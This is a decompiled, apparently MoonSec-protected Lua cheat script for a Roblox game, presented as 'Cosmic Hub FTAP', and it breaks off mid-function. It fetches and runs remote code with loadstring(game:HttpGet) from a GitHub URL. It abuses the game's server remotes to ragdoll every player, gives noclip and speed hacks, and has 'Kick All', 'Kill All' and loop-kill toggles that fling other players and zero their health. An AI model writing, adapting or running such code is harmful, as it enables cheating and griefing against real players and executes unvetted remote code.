
Key Required

MoonSec_StringsHiddenAttr = true;
if _wURGUJXwOJhV == "This file was protected with MoonSec V3" then
local l_Players_0 = game:GetService("Players");
local l_LocalPlayer_0 = l_Players_0.LocalPlayer;
local l_RunService_0 = game:GetService("RunService");
local l_HttpService_0 = game:GetService("HttpService");
local l_ReplicatedStorage_0 = game:GetService("ReplicatedStorage");
local _ = game:GetService("Debris");
local l_GrabEvents_0 = l_ReplicatedStorage_0:WaitForChild("GrabEvents");
local _ = l_ReplicatedStorage_0:WaitForChild("CharacterEvents");
local _ = l_ReplicatedStorage_0:WaitForChild("MenuToys");
local l_SetNetworkOwner_0 = l_GrabEvents_0:WaitForChild("SetNetworkOwner");
local _ = game:GetService("StarterGui");
local l_TextChatService_0 = game:GetService("TextChatService");
if not l_Players_0.LocalPlayer and not l_Players_0:GetPropertyChangedSignal("LocalPlayer"):Wait() then
local _ = l_Players_0.LocalPlayer;
end;
local l_RagdollRemote_0 = l_ReplicatedStorage_0:WaitForChild("CharacterEvents"):FindFirstChild("RagdollRemote");
local v14 = false;
local _ = nil;
local _ = 40;
local _ = nil;
local _ = nil;
local _ = nil;
local _ = nil;
if not l_LocalPlayer_0.Character then
local _ = l_LocalPlayer_0.CharacterAdded:Wait();
end;
local _ = workspace:FindFirstChild(l_LocalPlayer_0.Name .. "SpawnedInToys");
local l_LocalPlayer_2 = l_Players_0.LocalPlayer;
local l_Workspace_0 = game:GetService("Workspace");
(_G or {}).BlobmanDelay = 5.0E-8;
local v25 = 1;
local _ = {};
local v27 = nil;
local v28 = {};
local _ = nil;
local function v33()
-- upvalues: l_Players_0 (ref)
local v30 = {};
for _, v32 in ipairs(l_Players_0:GetPlayers()) do
table.insert(v30, v32.Name);
end;
return v30;
end;
local function v37()
-- upvalues: v33 (ref), v28 (ref)
local v34 = v33();
for _, v36 in ipairs(v28) do
v36:Refresh(v34, true);
end;
end;
l_Players_0.PlayerAdded:Connect(v37);
l_Players_0.PlayerRemoving:Connect(v37);
local function v39(v38)
-- upvalues: v28 (ref), v33 (ref)
table.insert(v28, v38);
v38:Refresh(v33(), true);
end;
local v40 = nil;
l_Players_0.PlayerAdded:Connect(function()
-- upvalues: v40 (ref), v33 (ref)
if v40 then
v40:Refresh(v33(), true);
end;
end);
l_Players_0.PlayerRemoving:Connect(function()
-- upvalues: v40 (ref), v33 (ref)
if v40 then
v40:Refresh(v33(), true);
end;
end);
local function v42(v41)
-- upvalues: l_TextChatService_0 (ref), l_ReplicatedStorage_0 (ref)
if l_TextChatService_0.ChatVersion == Enum.ChatVersion.TextChatService then
l_TextChatService_0.TextChannels.RBXGeneral:SendAsync(v41);
else
l_ReplicatedStorage_0.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(v41, "All");
end;
end;
task.spawn(function()
-- upvalues: v42 (ref)
v42("-`C\194\180-");
end);
local v43 = loadstring(game:HttpGet("https://raw.githubusercontent.com/Jeffepicy/OrionGod/refs/heads/main/CosmicOrion", true))();
v43:MakeNotification({
Name = "Welcome to Cosmic Hub!",
Content = "You\226\128\153re Whitelisted! wink wink",
Image = "rbxassetid://4483345998",
Time = 20
});
local v44 = v43:MakeWindow({
Name = "Cosmic Hub FTAP",
HidePremium = false,
SaveConfig = true,
ConfigFolder = "CosmicHubFTAPConfig"
});
local v45 = v44:MakeTab({
Name = "Player",
Icon = "rbxassetid://6031075927",
PremiumOnly = false
});
local _ = v45:AddSection({
Name = "Movement"
});
local v47 = {
Walkspeed = false,
WalkspeedValue = 5,
InfiniteJump = false,
InfiniteJumpPower = 100,
Noclip = false,
Connections = {}
};
local l_UserInputService_0 = game:GetService("UserInputService");
v47.WalkspeedFunc = function()
-- upvalues: v47 (ref), l_RunService_0 (ref), l_Players_0 (ref)
if v47.Connections.WS then
v47.Connections.WS:Disconnect();
end;
if v47.Walkspeed then
v47.Connections.WS = l_RunService_0.Stepped:Connect(function()
-- upvalues: l_Players_0 (ref), v47 (ref)
p = l_Players_0.LocalPlayer;
if p and p.Character and p.Character:FindFirstChild("HumanoidRootPart") and p.Character:FindFirstChildOfClass("Humanoid") and typeof(v47.WalkspeedValue) == "number" then
h = p.Character.HumanoidRootPart;
u = p.Character:FindFirstChildOfClass("Humanoid");
h.CFrame = h.CFrame + u.MoveDirection * (16 * v47.WalkspeedValue / 10);
end;
end);
end;
end;
v47.InfiniteJumpFunc = function()
-- upvalues: v47 (ref), l_UserInputService_0 (ref), l_Players_0 (ref)
if v47.Connections.JP then
v47.Connections.JP:Disconnect();
end;
if v47.InfiniteJump then
v47.Connections.JP = l_UserInputService_0.JumpRequest:Connect(function()
-- upvalues: l_Players_0 (ref), v47 (ref)
local l_LocalPlayer_3 = l_Players_0.LocalPlayer;
if l_LocalPlayer_3 and l_LocalPlayer_3.Character and l_LocalPlayer_3.Character:FindFirstChildOfClass("Humanoid") then
local l_Humanoid_0 = l_LocalPlayer_3.Character:FindFirstChildOfClass("Humanoid");
l_Humanoid_0:ChangeState(Enum.HumanoidStateType.Freefall);
task.wait();
l_Humanoid_0:ChangeState(Enum.HumanoidStateType.Jumping);
if l_Humanoid_0.UseJumpPower == false then
l_Humanoid_0.JumpHeight = math.clamp(v47.InfiniteJumpPower / 10, 7.2, 50);
else
l_Humanoid_0.JumpPower = v47.InfiniteJumpPower;
end;
end;
end);
end;
end;
v47.NoclipFunc = function()
-- upvalues: v47 (ref), l_RunService_0 (ref), l_Players_0 (ref)
if v47.Connections.NC then
v47.Connections.NC:Disconnect();
end;
if v47.Noclip then
v47.Connections.NC = l_RunService_0.Stepped:Connect(function()
-- upvalues: l_Players_0 (ref)
p = l_Players_0.LocalPlayer;
if p and p.Character then
for _, v52 in ipairs(p.Character:GetDescendants()) do
if v52:IsA("BasePart") then
v52.CanCollide = false;
end;
end;
end;
end);
end;
end;
v45:AddToggle({
Name = "Walkspeed",
Default = false,
Callback = function(v53)
-- upvalues: v47 (ref)
v47.Walkspeed = v53;
v47.WalkspeedFunc();
end
});
v45:AddSlider({
Name = "Speed Multiplier",
Min = 1,
Max = 5,
Default = 0.1,
Increment = 0.1,
Callback = function(v54)
-- upvalues: v47 (ref)
v47.WalkspeedValue = v54;
end
});
v45:AddToggle({
Name = "Infinite Jump",
Default = false,
Callback = function(v55)
-- upvalues: v47 (ref)
v47.InfiniteJump = v55;
v47.InfiniteJumpFunc();
end
});
v45:AddSlider({
Name = "Jump Power",
Min = 16,
Max = 500,
Default = 16,
Increment = 1,
Callback = function(v56)
-- upvalues: v47 (ref)
v47.InfiniteJumpPower = v56;
end
});
v45:AddToggle({
Name = "Noclip",
Default = false,
Callback = function(v57)
-- upvalues: v47 (ref)
v47.Noclip = v57;
v47.NoclipFunc();
end
});
local v58 = v44:MakeTab({
Name = "Invincibility",
Icon = "rbxassetid://4483362458",
PremiumOnly = false
});
local _ = v58:AddSection({
Name = "Anti"
});
local function v63()
-- upvalues: l_RagdollRemote_0 (ref), v43 (ref), l_Players_0 (ref)
if l_RagdollRemote_0 then
for _, v61 in pairs(l_Players_0:GetPlayers()) do
if v61.Character and v61.Character:FindFirstChild("HumanoidRootPart") then
for _ = 1, 150 do
l_RagdollRemote_0:FireServer(v61.Character.HumanoidRootPart, 9999999);
wait();
end;
end;
end;
return;
else
v43:MakeNotification({
Name = "Error",
Content = "error",
Image = "rbxassetid://4483345998",
Time = 3
});
return;
end;
end;
v58:AddButton({
Name = "Anti Ragdoll/Snowball",
Callback = function()
-- upvalues: v63 (ref)
v63();
end
});
v58:AddButton({
Name = "Destroy Void",
Callback = function()
-- upvalues: l_Workspace_0 (ref)
l_Workspace_0.FallenPartsDestroyHeight = -1.0E95;
end
});
local v64 = {
Players = game:GetService("Players"),
ReplicatedStorage = game:GetService("ReplicatedStorage"),
RunService = game:GetService("RunService"),
LP = game.Players.LocalPlayer
};
v64.spawnGucci = function()
-- upvalues: v64 (ref)
return v64.ReplicatedStorage.MenuToys.SpawnToyRemoteFunction:InvokeServer("CreatureBlobman", CFrame.new(0, 50000, 0) * CFrame.Angles(-0.7351, 0.9028, 0.6173), Vector3.new(0, 59.667, 0));
end;
v64.setup = function()
-- upvalues: v64 (ref), l_Workspace_0 (ref)
v64.spawnGucci();
local l_Name_0 = v64.LP.Name;
local l_l_Workspace_0_0 = l_Workspace_0;
local v67 = v64.LP.Character or v64.LP.CharacterAdded:Wait();
local l_l_l_Workspace_0_0_FirstChild_0 = l_l_Workspace_0_0:FindFirstChild(l_Name_0 .. "SpawnedInToys");
local v69 = nil;
local v70 = nil;
if l_l_l_Workspace_0_0_FirstChild_0 then
v69 = l_l_l_Workspace_0_0_FirstChild_0:FindFirstChild("CreatureBlobman");
end;
if v69 then
v70 = v69.FindFirstChild(v69, "Head");
end;
if v70 then
v70.CFrame = CFrame.new(0, 50000, 0);
v70.Anchored = true;
end;
task.wait(0.1);
local l_Humanoid_1 = v67:WaitForChild("Humanoid");
local l_HumanoidRootPart_0 = v67:WaitForChild("HumanoidRootPart");
local l_Position_0 = l_HumanoidRootPart_0.Position;
local v74 = false;
local v75;
if v69 then
v75 = v69.FindFirstChild(v69, "VehicleSeat");
else
v75 = v69;
end;
if v75 and v75.IsA(v75, "VehicleSeat") then
l_HumanoidRootPart_0.CFrame = v75.CFrame + Vector3.new(0, 2, 0);
v75.Sit(v75, l_Humanoid_1);
v74 = true;
end;
l_Humanoid_1:GetPropertyChangedSignal("Jump"):Connect(function()
-- upvalues: v74 (ref), l_Humanoid_1 (ref), l_HumanoidRootPart_0 (ref), l_Position_0 (ref)
if v74 and l_Humanoid_1.Jump then
task.wait(0.02);
l_HumanoidRootPart_0.CFrame = CFrame.new(l_Position_0);
v74 = false;
end;
end);
v64.ragdollConn = v64.RunService.Heartbeat:Connect(function()
-- upvalues: v64 (ref), v74 (ref), l_l_Workspace_0_0 (ref), l_Name_0 (ref)
if v64.enabled and v74 then
pcall(function()
-- upvalues: v64 (ref), l_l_Workspace_0_0 (ref), l_Name_0 (ref)
v64.ReplicatedStorage.CharacterEvents.RagdollRemote:FireServer(l_l_Workspace_0_0[l_Name_0].HumanoidRootPart, 0);
end);
end;
end);
v64.posCheckConn = v64.RunService.Heartbeat:Connect(function()
-- upvalues: v64 (ref), l_HumanoidRootPart_0 (ref), l_Position_0 (ref), v74 (ref)
if v64.enabled and (l_HumanoidRootPart_0.Position - l_Position_0).Magnitude < 1 then
v74 = false;
end;
end);
end;
v58:AddToggle({
Name = " Gucci Anti",
Default = false,
Callback = function(v76)
-- upvalues: v64 (ref)
v64.enabled = v76;
if not v76 then
if v64.ragdollConn then
v64.ragdollConn:Disconnect();
v64.ragdollConn = "Disconnect";
end;
if v64.posCheckConn then
v64.posCheckConn:Disconnect();
v64.posCheckConn = "posCheckConn";
end;
else
v64.setup();
end;
end
});
v58:AddButton({
Name = "Destroy Gucci (All)",
Callback = function()
-- upvalues: l_Workspace_0 (ref)
for _, v78 in l_Workspace_0:GetDescendants() do
if v78.Name == "CreatureBlobman" then
v78.VehicleSeat:Sit(game.Players.LocalPlayer.Character.Humanoid);
wait(0.05);
game.Players.LocalPlayer.Character.Humanoid.Jump = true;
end;
end;
end
});
local v79 = false;
local function v82()
-- upvalues: v79 (ref), l_LocalPlayer_2 (ref), l_ReplicatedStorage_0 (ref)
while v79 and task.wait() do
if l_LocalPlayer_2:FindFirstChild("IsHeld") and l_LocalPlayer_2.IsHeld.Value == true then
local l_Character_0 = l_LocalPlayer_2.Character;
if l_Character_0 then
local l_HumanoidRootPart_1 = l_Character_0:FindFirstChild("HumanoidRootPart");
if l_HumanoidRootPart_1 then
l_HumanoidRootPart_1.Anchored = true;
while l_LocalPlayer_2.IsHeld.Value == true and v79 do
l_ReplicatedStorage_0.CharacterEvents.Struggle:FireServer(l_LocalPlayer_2);
task.wait(0.001);
end;
l_HumanoidRootPart_1.Anchored = false;
end;
end;
end;
end;
end;
v58:AddToggle({
Name = "Anti Grab",
Default = false,
Callback = function(v83)
-- upvalues: v79 (ref), v82 (ref)
v79 = v83;
if v79 then
task.spawn(v82);
end;
end
});
local v84 = false;
local function v89()
-- upvalues: l_Workspace_0 (ref), v84 (ref), l_LocalPlayer_2 (ref)
l_Workspace_0.ChildAdded:Connect(function(v85)
-- upvalues: v84 (ref), l_LocalPlayer_2 (ref)
if v85:IsA("Part") and v85.Name == "Part" and v84 then
local l_Character_1 = l_LocalPlayer_2.Character;
if l_Character_1 then
local l_HumanoidRootPart_2 = l_Character_1:FindFirstChild("HumanoidRootPart");
local l_l_Character_1_FirstChild_0 = l_Character_1:FindFirstChild("Right Arm");
if l_HumanoidRootPart_2 and l_l_Character_1_FirstChild_0 and (v85.Position - l_HumanoidRootPart_2.Position).Magnitude <= 20 then
l_HumanoidRootPart_2.Anchored = true;
task.wait(0.01);
while l_l_Character_1_FirstChild_0:FindFirstChild("RagdollLimbPart") and l_l_Character_1_FirstChild_0.RagdollLimbPart.CanCollide == true do
task.wait(0.001);
end;
l_HumanoidRootPart_2.Anchored = false;
end;
end;
end;
end);
end;
v58:AddToggle({
Name = "Anti Explode",
Default = false,
Callback = function(v90)
-- upvalues: v84 (ref), v89 (ref)
v84 = v90;
if v84 then
task.spawn(v89);
end;
end
});
v58:AddToggle({
Name = "Anti Fire",
Default = false,
Callback = function(v91)
local v92 = {
p = game:GetService("Players").LocalPlayer,
rs = game:GetService("RunService"),
w = game:GetService("Workspace"),
mon = false,
con = "con"
};
v92.ep = v92.w.Map.Hole.PoisonBigHole.ExtinguishPart;
v92.op = v92.ep.Position;
local function v96()
-- upvalues: v92 (ref)
local l_HumanoidRootPart_3 = (v92.p.Character or v92.p.CharacterAdded:Wait()):WaitForChild("HumanoidRootPart");
local l_FireLight_0 = l_HumanoidRootPart_3:FindFirstChild("FireLight");
local l_FireParticleEmitter_0 = l_HumanoidRootPart_3:FindFirstChild("FireParticleEmitter");
if l_FireLight_0 or l_FireParticleEmitter_0 then
v92.ep.CFrame = CFrame.new(l_HumanoidRootPart_3.Position);
while l_FireLight_0 or l_FireParticleEmitter_0 do
task.wait(0.1);
l_FireLight_0 = l_HumanoidRootPart_3:FindFirstChild("FireLight");
l_FireParticleEmitter_0 = l_HumanoidRootPart_3:FindFirstChild("FireParticleEmitter");
v92.ep.CFrame = CFrame.new(l_HumanoidRootPart_3.Position);
end;
v92.ep.CFrame = CFrame.new(v92.op);
end;
end;
v92.mon = v91;
if v91 then
if not v92.con then
v92.con = v92.rs.Heartbeat:Connect(function()
-- upvalues: v92 (ref), v96 (ref)
if v92.mon then
v96();
end;
end);
end;
else
v92.ep.CFrame = CFrame.new(v92.op);
if v92.con then
v92.con:Disconnect();
v92.con = "Disconnect";
end;
end;
end
});
local function v101()
local l_Character_2 = game.Players.LocalPlayer.Character;
if l_Character_2 then
local l_HumanoidRootPart_4 = l_Character_2:FindFirstChild("HumanoidRootPart");
local l_Humanoid_2 = l_Character_2:FindFirstChild("Humanoid");
local v100 = game.Players.LocalPlayer:FindFirstChild("PlayerScripts") and game.Players.LocalPlayer.PlayerScripts:FindFirstChild("CharacterAndBeamMove");
if l_HumanoidRootPart_4 and l_Humanoid_2 and v100 then
v100.Disabled = antiLagT;
end;
end;
end;
v58:AddToggle({
Name = "Anti Lag",
Default = false,
Callback = function(v102)
-- upvalues: v101 (ref)
antiLagT = v102;
v101();
end
});
local function v107()
-- upvalues: l_LocalPlayer_0 (ref), l_Workspace_0 (ref)
local l_Character_3 = l_LocalPlayer_0.Character;
if l_Character_3 then
local l_HumanoidRootPart_5 = l_Character_3:FindFirstChild("HumanoidRootPart");
if l_HumanoidRootPart_5 then
for _, v106 in pairs(l_Workspace_0:GetDescendants()) do
if v106:IsA("BasePart") and (v106.Name == "LeftDetector" or v106.Name == "RightDetector") and (l_HumanoidRootPart_5.Position - v106.Position).Magnitude > 10 then
v106:Destroy();
end;
end;
return;
else
return;
end;
else
return;
end;
end;
local function v110()
-- upvalues: v14 (ref), l_LocalPlayer_0 (ref)
while v14 do
if l_LocalPlayer_0.Character then
for _, v109 in ipairs(l_LocalPlayer_0.Character:GetDescendants()) do
if v109:IsA("BasePart") and v109.Massless then
v109.Massless = false;
end;
end;
end;
task.wait(1);
end;
end;
v58:AddToggle({
Name = "Anti Blobman",
Default = false,
Callback = function(v111)
-- upvalues: v14 (ref), v107 (ref), v110 (ref)
v14 = v111;
if v14 then
task.spawn(function()
-- upvalues: v14 (ref), v107 (ref)
while v14 do
v107();
task.wait(1);
end;
end);
task.spawn(v110);
end;
end
});
local v112 = v44:MakeTab({
Name = "Attack",
Icon = "rbxassetid://6031094674",
PremiumOnly = false
});
local _ = v112:AddSection({
Name = "Loop "
});
local l_Players_1 = game:GetService("Players");
local l_RunService_1 = game:GetService("RunService");
local l_l_Workspace_0_1 = l_Workspace_0;
local l_ReplicatedStorage_1 = game.ReplicatedStorage;
local l_LocalPlayer_4 = l_Players_1.LocalPlayer;
local v119 = {};
local v120 = nil;
local v121 = {
E = false,
S = "S",
D = 2,
Off = Vector3.new(5, -18.5, 0),
H = 10000,
Del = 0.5
};
local v122 = {
E = false,
S = 0.5,
D = 2,
Off = Vector3.new(5, -18.5, 0),
H = 10000,
Del = 0.5
};
local function v127(v123)
-- upvalues: l_Players_1 (ref)
local v124 = {};
for _, v126 in ipairs(l_Players_1:GetPlayers()) do
table.insert(v124, v126.Name);
end;
v123:Refresh(v124, true);
end;
local function v131(v128)
for _, v130 in ipairs(v128:GetDescendants()) do
if v130:IsA("BasePart") then
v130.CanCollide = false;
end;
end;
end;
local function v136(v132, v133)
-- upvalues: v131 (ref)
v131(v133.Parent);
local v134 = Instance.new("BodyVelocity", v132);
local v135 = Vector3.new(0, 1000000000, 0);
v134.MaxForce = Vector3.new(math.huge, math.huge, math.huge);
v134.Velocity = v135;
v135 = false;
v133.Jump = true;
v133.Sit = v135;
task.delay(3, function()
-- upvalues: v134 (ref)
if v134.Parent then
v134:Destroy();
end;
end);
end;
local function v141(v137, v138)
local v139 = v137.Character and v137.Character:FindFirstChild("HumanoidRootPart");
if v139 and v138 >= v139.Position.Y then
local _ = false;
end;
return true;
end;
local function v144(v142)
-- upvalues: l_LocalPlayer_4 (ref)
local l_Character_4 = l_LocalPlayer_4.Character;
if l_Character_4 and l_Character_4:FindFirstChild("HumanoidRootPart") then
v142.S = l_Character_4:GetPivot();
end;
end;
local function v148(v145)
-- upvalues: l_LocalPlayer_4 (ref)
local l_Character_5 = l_LocalPlayer_4.Character;
local v147 = l_Character_5 and l_Character_5:FindFirstChild("HumanoidRootPart");
if v147 and v145.S and (v147.Position - v145.S.Position).Magnitude > v145.D then
l_Character_5:PivotTo(v145.S);
end;
end;
local function v157(v149, v150, v151)
-- upvalues: l_l_Workspace_0_1 (ref), v141 (ref), l_LocalPlayer_4 (ref), v144 (ref), v131 (ref), l_ReplicatedStorage_1 (ref), v148 (ref), v136 (ref)
if not v150.E then
return;
elseif not l_l_Workspace_0_1:FindFirstChild("PlotItems") or not l_l_Workspace_0_1.PlotItems.PlayersInPlots:FindFirstChild(v149.Name) then
local l_Character_6 = v149.Character;
local v153 = l_Character_6 and l_Character_6:FindFirstChild("HumanoidRootPart");
local v154 = l_Character_6 and l_Character_6:FindFirstChildOfClass("Humanoid");
local v155 = l_Character_6 and l_Character_6:FindFirstChild("Head");
if v153 and v154 and v155 and v154.Health > 0 and not v141(v149, v150.H) then
local l_Character_7 = l_LocalPlayer_4.Character;
if not (l_Character_7 and l_Character_7:FindFirstChild("HumanoidRootPart")) then
return;
else
pcall(function()
-- upvalues: v144 (ref), v150 (ref), l_Character_7 (ref), v153 (ref), v131 (ref), l_Character_6 (ref), l_ReplicatedStorage_1 (ref), v148 (ref), v155 (ref), l_LocalPlayer_4 (ref), v136 (ref), v154 (ref), v151 (ref)
v144(v150);
l_Character_7:PivotTo(CFrame.new(v153.Position + v150.Off));
v131(l_Character_6);
l_ReplicatedStorage_1.GrabEvents.SetNetworkOwner:FireServer(v153, v153.CFrame);
task.wait();
v148(v150);
task.wait(0.1);
l_ReplicatedStorage_1.GrabEvents.DestroyGrabLine:FireServer(v153);
task.wait(0.1);
if v155:FindFirstChild("PartOwner") and v155.PartOwner.Value == l_LocalPlayer_4.Name then
v136(v153, v154);
if v151 then
task.wait(0.1);
v154.Health = 0;
end;
end;
end);
task.wait(v150.Del);
return;
end;
else
return;
end;
else
return;
end;
end;
local function v162(v158, v159)
-- upvalues: v144 (ref), v119 (ref), l_Players_1 (ref), v157 (ref)
v144(v158);
for v160 in pairs(v119) do
if v158.E then
local l_l_Players_1_FirstChild_0 = l_Players_1:FindFirstChild(v160);
if l_l_Players_1_FirstChild_0 then
v157(l_l_Players_1_FirstChild_0, v158, v159);
end;
else
break;
end;
end;
end;
local function v165(v163, v164)
-- upvalues: l_RunService_1 (ref), v162 (ref)
return (l_RunService_1.Heartbeat:Connect(function()
-- upvalues: v163 (ref), v162 (ref), v164 (ref)
if v163.E then
v162(v163, v164);
end;
end));
end;
local v166 = nil;
local v167 = nil;
local v168 = nil;
local v169 = nil;
local function v172(v170, v171)
v171.E = false;
if v170 then
v170:Disconnect();
end;
v171.S = "S";
end;
SelectDropdown = v112:AddDropdown({
Name = "Select Player",
Options = {},
Callback = function(v173)
-- upvalues: v120 (ref), l_Players_1 (ref)
v120 = l_Players_1:FindFirstChild(v173);
end
});
LoopDropdown = v112:AddDropdown({
Name = "Players in Loop",
Options = {},
Callback = function(v174)
-- upvalues: v120 (ref), l_Players_1 (ref)
v120 = l_Players_1:FindFirstChild(v174);
end
});
v112:AddButton({
Name = "Add Player",
Callback = function()
-- upvalues: v120 (ref), v119 (ref), v127 (ref)
if v120 and not v119[v120.Name] then
v119[v120.Name] = true;
v127(LoopDropdown);
end;
end
});
v112:AddButton({
Name = "Remove Player",
Callback = function()
-- upvalues: v120 (ref), v119 (ref), v127 (ref)
if v120 and v119[v120.Name] then
v119[v120.Name] = "Name";
v120 = nil;
v127(SelectDropdown);
v127(LoopDropdown);
end;
end
});
v112:AddToggle({
Name = "Loop Kick",
Callback = function(v175)
-- upvalues: v121 (ref), v166 (ref), v165 (ref), v172 (ref)
v121.E = v175;
if not v175 then
v172(v166, v121);
else
v166 = v165(v121, false);
end;
end
});
v112:AddToggle({
Name = "Loop Kill",
Callback = function(v176)
-- upvalues: v122 (ref), v167 (ref), v165 (ref), v172 (ref)
v122.E = v176;
if v176 then
v167 = v165(v122, true);
else
v172(v167, v122);
end;
end
});
l_Players_1.PlayerAdded:Connect(function()
-- upvalues: v127 (ref)
v127(SelectDropdown);
end);
l_Players_1.PlayerRemoving:Connect(function(v177)
-- upvalues: v119 (ref), v127 (ref)
if v119[v177.Name] then
v119[v177.Name] = "Name";
v127(LoopDropdown);
end;
v127(SelectDropdown);
end);
v127(SelectDropdown);
v127(LoopDropdown);
v112:AddToggle({
Name = "Kick All",
Callback = function(v178)
-- upvalues: v172 (ref), v166 (ref), v121 (ref), v168 (ref), l_RunService_1 (ref), v144 (ref), l_Players_1 (ref), l_LocalPlayer_4 (ref), v157 (ref)
if not v178 then
v172(v168, v121);
else
v172(v166, v121);
v168 = l_RunService_1.Heartbeat:Connect(function()
-- upvalues: v144 (ref), v121 (ref), l_Players_1 (ref), l_LocalPlayer_4 (ref), v157 (ref)
v144(v121);
for _, v180 in ipairs(l_Players_1:GetPlayers()) do
if v180 ~= l_LocalPlayer_4 then
v157(v180, v121, false);
end;
end;
end);
end;
end
});
v112:AddToggle({
Name = "Kill All",
Callback = function(v181)
-- upvalues: v172 (ref), v167 (ref), v122 (ref), v169 (ref), l_RunService_1 (ref), v144 (ref), l_Players_1 (ref), l_LocalPlayer_4 (ref), v157 (ref)
if v181 then
v172(v167, v122);
v169 = l_RunService_1.Heartbeat:Connect(function()
-- upvalues: v144 (ref), v122 (ref), l_Players_1 (ref), l_LocalPlayer_4 (ref), v157 (ref)
v144(v122);
for _, v183 in ipairs(l_Players_1:GetPlayers()) do
if v183 ~= l_LocalPlayer_4 then
v157(v183, v122, true);
end;
end;
end);
else
v172(v169, v122);
end;
end
});
local _ = v112:AddSection({
Name = "Grabs"
});
local v185 = false;
local function v190()
-- upvalues: v185 (ref), l_Workspace_0 (ref), l_LocalPlayer_2 (ref)
if not v185 then
return;
else
l_Workspace_0.ChildAdded:Connect(function(v186)
-- upvalues: v185 (ref), l_LocalPlayer_2 (ref)
if v186:IsA("Model") and v186.Name == "GrabParts" and v185 then
local l_GrabPart_0 = v186:FindFirstChild("GrabPart");
if l_GrabPart_0 and l_GrabPart_0:FindFirstChild("WeldConstraint") then
local l_Part1_0 = l_GrabPart_0.WeldConstraint.Part1;
if l_Part1_0 and l_Part1_0.Parent and l_Part1_0.Parent ~= l_LocalPlayer_2.Character then
local l_Humanoid_3 = l_Part1_0.Parent:FindFirstChildOfClass("Humanoid");
if l_Humanoid_3 then
l_Humanoid_3.Health = 0;
end;
end;
end;
end;
end);
return;
end;
end;
v112:AddToggle({
Name = "Kill Grab",
Default = false,
Callback = function(v191)
-- upvalues: v185 (ref), v190 (ref)
v185 = v191;
v190();
end
});
local v192 = {
S = game:GetService("UserInputService"),
A = game:GetService("ContextActionService"),
W = game:GetService("Workspace"),
R = game:GetService("RunService"),
D = game:GetService("Debris"),
P = game:GetService("Players"),
Enabled = false,
Strength = 800,
UI = {}
};
local function v204(v193)
-- upvalues: v192 (ref)
if not v192.Enabled then
return;
elseif v193.Name ~= "GrabParts" then
return;
else
local l_GrabPart_1 = v193:FindFirstChild("GrabPart");
if not l_GrabPart_1 or not l_GrabPart_1:FindFirstChild("WeldConstraint") then
return;
else
local l_Part1_1 = l_GrabPart_1.WeldConstraint.Part1;
if not l_Part1_1 then
return;
else
local l_BodyVelocity_0 = Instance.new("BodyVelocity");
l_BodyVelocity_0.MaxForce = Vector3.new(0, 0, 0);
l_BodyVelocity_0.Parent = l_Part1_1;
local v197 = nil;
local v198 = nil;
local v199 = nil;
local v200 = nil;
while not v197 and v193.Parent and v192.Enabled do
for _, v202 in pairs(v192.P.LocalPlayer.PlayerGui.ContextActionGui:GetDescendants()) do
if v202:IsA("ImageLabel") and v202.Image == "http://www.roblox.com/asset/?id=9603678090" then
v197 = v202.Parent;
break;
end;
end;
v192.R.Heartbeat:Wait();
end;
if v197 and v192.Enabled then
local function v203()
-- upvalues: l_BodyVelocity_0 (ref), v192 (ref)
l_BodyVelocity_0.MaxForce = Vector3.new(math.huge, math.huge, math.huge);
l_BodyVelocity_0.Velocity = v192.W.CurrentCamera.CFrame.LookVector * v192.Strength;
end;
v198 = v197.MouseButton1Up:Connect(v203);
v199 = v197.MouseButton1Down:Connect(v203);
end;
v200 = v193:GetPropertyChangedSignal("Parent"):Connect(function()
-- upvalues: v193 (ref), v198 (ref), v199 (ref), v200 (ref), v192 (ref), l_BodyVelocity_0 (ref)
if not v193.Parent then
if v198 then
v198:Disconnect();
end;
if v199 then
v199:Disconnect();
end;
if v200 then
v200:Disconnect();
end;
v192.D:AddItem(l_BodyVelocity_0, 1);
end;
end);
return;
end;
end;
end;
end;
local function v206(v205)
-- upvalues: v192 (ref), v204 (ref)
if not v205 then
if v192.GrabConn then
v192.GrabConn:Disconnect();
v192.GrabConn = "Disconnect";
end;
else
v192.GrabConn = v192.W.ChildAdded:Connect(v204);
end;
end;
v112:AddToggle({
Name = "Strength",
Default = false,
Callback = function(v207)
-- upvalues: v192 (ref), v206 (ref)
v192.Enabled = v207;
v206(v207);
end
});
v112:AddSlider({
Name = "Launch Strength",
Min = 10,
Max = 3000,
Default = v192.Strength,
Increment = 50,
Callback = function(v208)
-- upvalues: v192 (ref)
v192.Strength = v208;
end
});
local l_LocalPlayer_5 = game:GetService("Players").LocalPlayer;
local _ = v112:AddSection({
Name = "Snowball Ragdoll"
});
local v211 = {
P = game:GetService("Players"),
RS = game:GetService("ReplicatedStorage"),
W = l_Workspace_0,
LP = game:GetService("Players").LocalPlayer,
Toy = game:GetService("ReplicatedStorage"):WaitForChild("MenuToys"),
Set = game:GetService("ReplicatedStorage"):WaitForChild("GrabEvents"):WaitForChild("SetNetworkOwner"),
TP = "TP",
TE = false,
SE = false,
AE = false,
DD = "DD",
R = {}
};
local function v215()
-- upvalues: v211 (ref)
local v212 = {};
for _, v214 in ipairs(v211.P:GetPlayers()) do
if v214 ~= v211.LP then
table.insert(v212, v214.Name);
end;
end;
return v212;
end;
local function v216()
-- upvalues: v211 (ref), v215 (ref)
if v211.DD then
v211.DD:Refresh(v215(), true);
end;
end;
v211.P.PlayerAdded:Connect(v216);
v211.P.PlayerRemoving:Connect(v216);
local function v219(v217, v218)
-- upvalues: v211 (ref)
task.spawn(function()
-- upvalues: v211 (ref), v217 (ref), v218 (ref)
v211.Toy:WaitForChild("SpawnToyRemoteFunction"):InvokeServer(v217, CFrame.new(v218), Vector3.new());
end);
end;
local function v229()
-- upvalues: v211 (ref)
while v211.AE do
local l_FirstChild_0 = v211.W:FindFirstChild(v211.LP.Name .. "SpawnedInToys");
if l_FirstChild_0 then
for _, v222 in pairs(v211.R) do
local l_Character_8 = v222.Character;
local v224 = l_Character_8 and l_Character_8:FindFirstChild("HumanoidRootPart");
if v224 then
for _, v226 in ipairs(l_FirstChild_0:GetChildren()) do
if v226:IsA("Model") and v226.Name == "BallSnowball" then
for _, v228 in ipairs(v226:GetDescendants()) do
if v228:IsA("BasePart") then
v228.Position = v224.Position;
end;
end;
end;
end;
end;
end;
end;
task.wait(0.1);
end;
end;
local function v234()
-- upvalues: v211 (ref), v219 (ref)
while v211.AE do
v211.R = {};
for _, v231 in pairs(v211.P:GetPlayers()) do
if v231 ~= v211.LP and v231.Character then
local l_Humanoid_4 = v231.Character:FindFirstChild("Humanoid");
